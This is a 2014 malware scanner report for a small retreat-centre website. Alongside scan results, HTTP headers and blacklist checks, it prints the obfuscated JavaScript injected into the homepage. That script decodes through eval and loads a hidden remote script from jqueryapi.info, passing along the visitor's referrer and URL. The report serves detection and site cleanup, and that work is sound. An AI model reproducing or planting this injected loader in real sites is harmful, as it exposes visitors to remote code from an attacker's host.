New scan:

Malware Scanner report for sandpointretreat.com

Malicious/Suspicious/Total urls checked
1/0/14
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://sandpointretreat.com/
200 OK
Content-Length: 18854
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBBDf5R2bixHdwlmcjN3QzwHc0RHa8Rnbl52bw12bDlkUVV
... 3685 bytes are skipped ...
=l00lOI.indexOf(data.charAt(i++));h4=l00lOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l00(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(_10I(l00(_01O)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _0OO=document.createElement('script');_0OO.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0OI=document.getElementsByTagName('head')[0];_0OI.appendChild(_0OO);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://talusrockretreat.com/wp-includes/js/jquery/jquery.js?ver=1.10.2
503 Service Unavailable
Content-Length: 642
Content-Type: text/html
clean
http://talusrockretreat.com/test404page.js
503 Service Unavailable
Content-Length: 642
Content-Type: text/html
clean
http://talusrockretreat.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://talusrockretreat.com/wp-content/themes/devly/assets/scripts/libs/jquery.modernizr.js?ver=2.5.1
503 Service Unavailable
Content-Length: 643
Content-Type: text/html
clean
http://talusrockretreat.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.4.7.3
503 Service Unavailable
Content-Length: 643
Content-Type: text/html
clean
http://talusrockretreat.com/wp-includes/js/jquery/ui/jquery.ui.effect.min.js?ver=1.10.3
503 Service Unavailable
Content-Length: 643
Content-Type: text/html
clean
http://talusrockretreat.com/wp-content/plugins/page-scroll-to-id/jquery.malihu.PageScroll2id.js?ver=1.2
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://talusrockretreat.com/wp-content/plugins/page-scroll-to-id/jquery.malihu.PageScroll2id-init.js?ver=1.2
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201440
200 OK
Content-Length: 9301
Content-Type: application/x-javascript
clean
http://s.gravatar.com/js/gprofiles.js?ver=2014Sepaa
200 OK
Content-Length: 21442
Content-Type: application/x-javascript
clean
http://talusrockretreat.com/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.8.4
503 Service Unavailable
Content-Length: 642
Content-Type: text/html
clean
http://talusrockretreat.com/wp-content/themes/devly/assets/scripts/main.js?ver=2.5.0
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://stats.wordpress.com/e-201440.js
200 OK
Content-Length: 824
Content-Type: application/x-javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: sandpointretreat.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 30 Sep 2014 18:30:51 GMT
Via: 1.1 varnish
Accept-Ranges: bytes
Age: 0
Server: nginx/1.6.2
Content-Length: 18854
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/P3sMCW-r>; rel=shortlink
X-Cache: HIT
X-Pingback: http://talusrockretreat.com/xmlrpc.php
X-Varnish: 2056977845 2056977844

...18854 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: sandpointretreat.com
Referer: http://www.google.com/search?q=sandpointretreat.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=sandpointretreat.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://sandpointretreat.com/

Result: sandpointretreat.com is not infected or malware details are not published yet.